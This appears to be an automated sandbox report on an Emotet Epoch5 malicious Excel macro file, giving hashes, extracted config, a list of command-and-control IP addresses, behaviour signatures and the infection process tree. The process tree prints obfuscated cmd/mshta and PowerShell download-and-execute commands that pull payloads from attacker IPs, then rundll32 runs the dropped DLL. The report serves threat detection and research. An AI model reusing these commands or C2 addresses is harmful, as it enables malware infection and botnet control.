emotet | d63cb63141af447b2bac52e24948f5d9b47036a98df5d352877f0dbb90f767df

General

Target

d63cb63141af447b2bac52e24948f5d9b47036a98df5d352877f0dbb90f767df.xlsm
Size

115KB
MD5

5c183de6aef1bf1b2d80031fe2e6adb4
SHA1

b1ff132d103260f26b5ae74dc41afb9aeece8238
SHA256

d63cb63141af447b2bac52e24948f5d9b47036a98df5d352877f0dbb90f767df
SHA512

b49f04bedf1e5ed78da8b98ef2e4be17f0e0bab23b591dd0108f3bd43c16df8e8b1f8660e02ff2a2e998aeab227840df19ed6a77980a3b9a0797e34e54302c65

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3664	4176	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
35	3140	mshta.exe
37	4008	powershell.exe
41	4008	powershell.exe
47	920	rundll32.exe
48	920	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3416	rundll32.exe
3700	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Goavakpnzy\qewfeaientqgzn.dgm	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4496	3140	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4176	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
4008	powershell.exe
4008	powershell.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4496	WerFault.exe
4008	powershell.exe
920	rundll32.exe
920	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4008	powershell.exe
Token: SeDebugPrivilege	4496	WerFault.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE
4176	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4176 wrote to memory of 4972	4176	EXCEL.EXE	71
PID 4176 wrote to memory of 4972	4176	EXCEL.EXE	71
PID 4176 wrote to memory of 3664	4176	EXCEL.EXE	72
PID 4176 wrote to memory of 3664	4176	EXCEL.EXE	72
PID 3664 wrote to memory of 3140	3664	cmd.exe	74
PID 3664 wrote to memory of 3140	3664	cmd.exe	74
PID 3140 wrote to memory of 4008	3140	mshta.exe	77
PID 3140 wrote to memory of 4008	3140	mshta.exe	77
PID 4008 wrote to memory of 2212	4008	powershell.exe	79
PID 4008 wrote to memory of 2212	4008	powershell.exe	79
PID 2212 wrote to memory of 3416	2212	cmd.exe	80
PID 2212 wrote to memory of 3416	2212	cmd.exe	80
PID 2212 wrote to memory of 3416	2212	cmd.exe	80
PID 3416 wrote to memory of 3700	3416	rundll32.exe	81
PID 3416 wrote to memory of 3700	3416	rundll32.exe	81
PID 3416 wrote to memory of 3700	3416	rundll32.exe	81
PID 3700 wrote to memory of 592	3700	rundll32.exe	82
PID 3700 wrote to memory of 592	3700	rundll32.exe	82
PID 3700 wrote to memory of 592	3700	rundll32.exe	82
PID 592 wrote to memory of 920	592	rundll32.exe	83
PID 592 wrote to memory of 920	592	rundll32.exe	83
PID 592 wrote to memory of 920	592	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d63cb63141af447b2bac52e24948f5d9b47036a98df5d352877f0dbb90f767df.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4176
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4972
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3664
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3140
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3140 -s 1648
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4496
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4008
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2212
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3416
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3700
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Goavakpnzy\qewfeaientqgzn.dgm",IhjIJn
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:592
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Goavakpnzy\qewfeaientqgzn.dgm",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:920

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/920-858-0x0000000005580000-0x00000000055A8000-memory.dmp

Filesize
160KB

Download
memory/920-854-0x0000000005390000-0x00000000053B8000-memory.dmp

Filesize
160KB

Download
memory/920-852-0x00000000052B0000-0x00000000052D8000-memory.dmp

Filesize
160KB

Download
memory/920-850-0x00000000051D0000-0x00000000051F8000-memory.dmp

Filesize
160KB

Download
memory/920-848-0x0000000004FA0000-0x0000000004FC8000-memory.dmp

Filesize
160KB

Download
memory/920-845-0x0000000003220000-0x0000000003248000-memory.dmp

Filesize
160KB

Download
memory/3416-823-0x00000000035D0000-0x00000000035F8000-memory.dmp

Filesize
160KB

Download
memory/3700-838-0x0000000005600000-0x0000000005628000-memory.dmp

Filesize
160KB

Download
memory/3700-829-0x0000000004D70000-0x0000000004D98000-memory.dmp

Filesize
160KB

Download
memory/3700-843-0x0000000005760000-0x0000000005788000-memory.dmp

Filesize
160KB

Download
memory/3700-836-0x00000000055A0000-0x00000000055C8000-memory.dmp

Filesize
160KB

Download
memory/3700-834-0x0000000005480000-0x00000000054A8000-memory.dmp

Filesize
160KB

Download
memory/3700-832-0x00000000053A0000-0x00000000053C8000-memory.dmp

Filesize
160KB

Download
memory/4008-519-0x000001636BE00000-0x000001636BE02000-memory.dmp

Filesize
8KB

Download
memory/4008-501-0x000001636BDD0000-0x000001636BDF2000-memory.dmp

Filesize
136KB

Download
memory/4008-565-0x000001636C500000-0x000001636C576000-memory.dmp

Filesize
472KB

Download
memory/4008-520-0x000001636BE03000-0x000001636BE05000-memory.dmp

Filesize
8KB

Download
memory/4008-539-0x000001636C1E0000-0x000001636C21C000-memory.dmp

Filesize
240KB

Download
memory/4008-779-0x000001636BE06000-0x000001636BE08000-memory.dmp

Filesize
8KB

Download
memory/4176-115-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4176-129-0x00007FFDD7D90000-0x00007FFDD7DA0000-memory.dmp

Filesize
64KB

Download
memory/4176-128-0x00007FFDD7D90000-0x00007FFDD7DA0000-memory.dmp

Filesize
64KB

Download
memory/4176-121-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4176-118-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4176-117-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download
memory/4176-116-0x00007FFDDAB00000-0x00007FFDDAB10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads